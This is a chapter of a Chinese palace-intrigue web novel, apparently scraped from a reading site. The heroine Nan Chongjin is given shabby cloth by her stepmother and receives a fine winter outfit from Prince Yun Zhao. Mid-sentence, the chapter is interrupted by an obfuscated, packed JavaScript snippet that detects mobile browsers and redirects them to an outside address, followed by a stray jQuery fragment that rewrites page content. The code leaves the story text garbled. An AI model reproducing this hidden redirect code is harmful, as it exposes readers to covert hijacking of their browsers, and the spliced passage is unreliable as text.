默认冷灰
24号文字
方正启体

50. 冬衣

作者:零酊子本书字数:K更新时间:
    碎雪扑在冷梅院的窗户上,簌簌作响。南重锦踩着积雪进门,裙摆沾着些雪粒子,融化后洇出一道浅浅的印记。


    “锦丫头,可算等着你了。”


    周佩音的声音带着笑传来,人却立在风口,火红色斗篷的毛边沾了雪沫,衬得她上挑的眼角愈发张扬。红棉捧着黑漆托盘紧随其后,托盘上的旧布料颜色暗沉,边缘磨得发毛,粗糙的质感隔着半丈远都能隐约察觉。


    那是些连府里三等丫鬟都嫌弃的料子,经纬错乱,摸起来喇手,如今却被当作“先夫人遗物”送来,心思昭然若揭。


    她身后还跟着南重瑶和南重馨。


    南重瑶一身桃红色的织金裙,裙摆绣着大朵盛放的牡丹,金线在雪光下晃得人眼晕。


    而南重馨则是一身鹅黄色褶裙,鬓边簪着几朵小巧的花,眉眼间带着对南重瑶的讨好,只是眼底偶尔掠过的嫌恶,打破了这份虚假的讨好。


    “母亲特意翻出先夫人的旧物,给你做新衣,这是沾福气呢。”


    南重瑶抢先开口,语气里的讥讽毫不掩饰,她故意抬手拂了拂自己衣领上的白狐毛,声音拔高了几分:“可惜这料子太粗,摸起来刺手,即便是先夫人的旧物,锦姐姐也瞧不上眼吧。”


    南重馨连忙附和,声音细细软软,却字字戳心:“瑶姐姐说的是,锦姐姐可是咱们敬国公府的嫡长女,身份矜贵,怎么能穿这种下等料子?也就是母亲心善,念着先夫人的情分,才把这几批布料拿出来。”


    “锦姐姐。”她唤,“您若是不收,岂不是辜负了母亲的一片心意,也辜负了先夫人的一片心意?”


    说罢,她偷偷瞥了眼周佩音,见她嘴角勾起笑意,便又壮着胆子补充:“再说了,锦姐姐腿疾在身,穿不得这种粗布衣裳,您就是不收,也是在理的,母亲不会说什么,只是这先夫人的一片心意……”


    这话恰好踩在南重锦痛处。先夫人赵玉容在世时,母家握有实权,南家也敬着,穿着皆是绫罗锦缎,绣工精良,何曾碰过这等粗劣的料子。


    如今她们敢拿这样的布料过来,无非想捏着她“珍视母亲遗物”的心思,折辱她罢了。


    南重锦心底冷笑,不过她们的这番行为,也正好如了她的意。


    她面上一片平静,甚至微微屈膝,语气恭敬:“多谢母亲费心,也谢妹妹们的提醒,女儿深知母亲的一片苦心,一定会好好利用这些布料,不辜负大家的心意。”


    不知是不是周佩音的错觉,她总觉得南重锦“利用”两个字,咬字格外用力,让她心中陡然一惊。


    不过她的脸上又如此乖顺,自从素荷那件事之后,她便在府里更沉默了,也更乖了。以前说话总是捻讽带刺,现在,除了温家提亲一事,剩下的大多时间,都是个能叫人随意拿捏的软柿子。


    周佩音心底闪过一丝得意,却又假意叮嘱:“都是一家人,你妹妹们也是关心你,天冷多添衣,别冻着。你手也残了,不方便,若是缝衣服的针线活做不了,就让红棉过去给你搭把手。”


    说罢,便带着两人扬长而去。红棉路过素心身边时,还故意撞了她一下,素心踉跄着差点摔倒。


    南重瑶的指甲也不小心蹭到了南重锦的手背,留下一道浅浅的红痕,却连句道歉都没有,只是轻蔑地瞥了一眼,便快步跟上了周佩音的脚步。


    甚至还能听见南重瑶不屑地声音飘来:“我看她也掀不起什么风浪,不过就是仗着太祖母撑腰的残废罢了。”


    “姑娘,他们太过分了!”


    素心狠狠攥着拳头,连声音都带颤:“那料子差得连三等丫鬟都看不上,还敢给您端过来,摆明了是借着先夫人的名头来磋磨您!”


    南重锦走到廊下,空中的雪飘飘悠悠落到她的发间,凉丝丝的。


    “素心,但凡做一件事,中间总是要受些磋磨的。”她声音微沉,眼底闪过一丝寒芒,“中间的磋磨越多,越狠,事成之后才越舒心,越痛快!”


    素心看着如此坚定的她,似懂非懂。就在这时,院门外传来一阵极轻的脚步声,像怕被人发现似的,南重舒抱着一件厚袄,递到南重锦面前。


    “锦姐姐,这……这是我今年新做的袄子,您拿着偷偷穿。母亲给您的衣料太薄,定是挡不住寒气的。”


    她眼神躲闪,手指因为紧张而微微发抖,又急忙补充:“我不敢让母亲知道,这是母亲今年新给我做的衣裳,她要是发现了,肯定会罚我跪祠堂的。”


    “等开春暖和了,姐姐用完还还给我,我趁夜里悄悄塞进衣箱,不会被人发现的。”


    南重锦看着她小心害怕颤抖的手指,看着她那双满是担忧的眼睛,心中一暖。


    这丫头向来胆小,被周佩音打骂惯了,却每每在她被周佩音苛责的时候,鼓起勇气站出来,替她说话。


    “谢谢你,舒儿。”她的声音放柔了些,抬手替南重舒拂去发间的雪粒,“你快回去吧,别冻着了,要是被周佩音发现,又要受委屈了。”


    南重舒点点头,却没立刻走,只是咬着唇,犹豫了片刻,才小声道:“姐姐,母亲和二姐姐、四妹妹没安好心,她们就是想让你受冻,让你在上巳节上出丑。你……你多保重,实在不行,就去太祖母那里住几日,太祖母会护着你的。”


    说完便匆匆跑了,裙角扫过积雪,留下一串浅浅的脚印,很快又被飘落的雪花覆盖。


    素心看着南重舒的背影,叹了口气:“舒姑娘倒是个心善的,可惜投错了胎,摊上这么个母亲。”


    她转头看向南重锦,眼神坚定:“姑娘,我这就去给太老夫人传信,让她为您做主,绝不能让夫人她们这般欺负您!”


    南重锦点头,叮嘱道:“路上小心,夜深路滑,走慢些,别被人察觉,就按我之前说的话告诉太祖母,重点要说上巳节关乎南家颜面,她自然会明白。”


    素心应了一声,转身出了院门。送走她之后,南重锦回到屋里,远远望着窗外的月亮出神。


    不多时,只听有人悄悄推门,南重锦扭头看时,却正对上素心脸上复杂,却又难掩怒气的脸,手里还捧着一方紫檀木锦盒。


    “姑娘,太老夫人让问柳姑娘传说,说‘她知道该怎么做’。”


    “还特意让奴婢告诉您一声,母家老嫂子这些年一直挂念她,打算带承少爷和均少爷回清河郡祭祖,已经吩咐人收拾行囊了,明日就走。”


    “另外……”


    她面色不善地把木盒往南重锦面前一伸:“院外福宝来了,送了个盒子,说是给您的要紧东西,奴婢推脱不过,只能先拿回来了。”


    说到“昭殿下”三个字时,素心的咬字格外清晰,甚至有诸多不满。


    南重锦心中一动,随着她的手看去。


    那木盒上雕着细密的缠枝芙蓉纹,边角镶嵌着细碎的珍珠,入手温润,一看便知价值不菲。可素心递过来时,动作却带着几分不情愿,甚至故意顿了顿。


    “姑娘,您可别轻易打开。”


    素心忍不住开口:“这昭殿下到底是个男子,您是未出阁的姑娘家,他平白无故送您锦盒……”


    “这哪里是个盒子,分明是个扁箱子!”素心脸色更不好,偌大个扁箱,掂了一会儿就死沉。


    “姑娘,”她把扁箱子放桌案上,又接着道,“您收了他的这大扁箱子,传出去像什么样?再说了,前段时间宫宴,若不是为了帮他解围,您也不会被兴王殿下刁难,胳膊还受了伤。”


    “还有温家,就是因为您和他走得近,才越发逼得紧,非要您嫁给温子昂不可!”


    她越说越气,眼圈都红了:“他就是个麻烦精!仗着自己是皇子,就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278862|198326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    随意招惹您,男女授受不亲,他倒好,直接送个这么大东西过来,若是被人瞧见,您的名声可就毁了!”


    南重锦看着素心激动的模样,心中有些无奈,却也明白她的一片苦心:“别激动,素心,先看看里面是什么再说。云昭并非你想的那般,他送东西来,或许是为了之前的合作,并无他意。”


    “合作也不能老送人东西啊!


    素心依旧愤愤不平:“姑娘,您就是太心善了,这男子送女子锦盒,本就不合规矩,若是里面放些贴身物件,那更是不像话!咱们南家是名门望族,您的名声比什么都重要,可不能因为他毁了!”


    南重锦没再多说,只是轻轻打开了那个偌大的扁盒子。


    一股淡淡的暖香溢出,并非熏香,而是布料本身带有的温润气息。里面铺着一层柔软的白色绒布,上面放着一套绣线精致的长袄褶裙,还有一盒宫中秘制的暖身药膏,旁边压着一张字条。


    看清那衣服的颜色,南重锦的呼吸微微一滞。


    青蓝色,正是上次宫宴密室中,他随口提了一句“藕粉色虽好,却少了几分韧劲”,云昭当时说“青蓝色或许更适合你,像乍晴的春空,清冽又藏着风骨”,还说要给她送一套衣服过去……


    她以为只是随口一说,从未放在心上,却没想到,他竟真的记在了心里,还这么快就送了过来。


    她伸手抚上衣料,是上等的云锦,质地柔软厚实,却又带着几分飘逸,触手生温,显然是精心挑选的,最适合冬日御寒,又不会显得臃肿,刚好能护住她的腿疾。


    再仔细看,衣襟和裙摆处绣着几枝暗梅,针脚细密,不仔细看根本察觉不到,正是她最喜欢的样式。


    母亲生前,就常给她绣这样的暗纹,说不张扬,又有风骨。


    她下意识地掀开衣领,里面竟是柔软的白狐毛内衬,触感细腻,暖融融的,恰好贴合肌肤,正是她畏寒最需要的。


    一瞬间,一股难以言喻的暖意顺着手指蔓延开来,漫过心口,连带着眼眶都有些发热。


    “姑娘,您看,我说得没错吧!”


    素心见她盯着衣服出神,更加着急:“他竟然送您衣服,这也太不像话了!男女授受不亲,他这是故意败坏您的名声!咱们必须把衣服退回去,还要严词告诉他,以后不许再这样!”


    南重锦猛地回神,连忙收敛眼底的情绪,手指却悄悄攥紧,压下心中的悸动,故作平静地拿起字条。


    字迹清隽挺拔,正是云昭的手笔:“我已知你寒衣之困,冬日严寒,姑娘腿疾需好生养护,此衣与药膏可御冷止痛,望姑娘保重身体。”


    “素心,别多想。”


    她将字条放下,语气尽量平淡:“云昭送衣服,不过是为了感谢我之前宫宴上的解围,也是为了让我能好好活着,继续与他合作,对付温家罢了。”


    “他是皇子,行事自有考量,或许并未在意这些礼教细节,我们也不必过于较真,免得伤了和气。”


    她一边说,一边将衣服小心翼翼地收好,嘴上却和素心解释:“再说,这衣服也确实合心意,料子也不错,刚好能抵御严寒,总比穿周佩音送的粗布强,我们利用他的东西,办好我们的事,才是最重要的。”


    素心听得眼圈更红,满心都是对南重锦的心疼,她攥紧拳头,声音带着哽咽:“姑娘,奴婢知道您心里苦,为了这个盟约,您受了多少委屈。”


    “宫宴上为他解围被兴王刁难,胳膊受了伤,温家逼婚,也只因您和他走得近,如今还要为了顾全大局,收下他送的衣服。”


    “不过姑娘,这昭殿下心思深沉,咱们防人之心不可无,不能被他的小恩小惠迷惑了。”


    “我知道。”南重锦点头,一面安慰她,“放心吧,我不会被迷惑的,该做的事,我始终记在心里。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)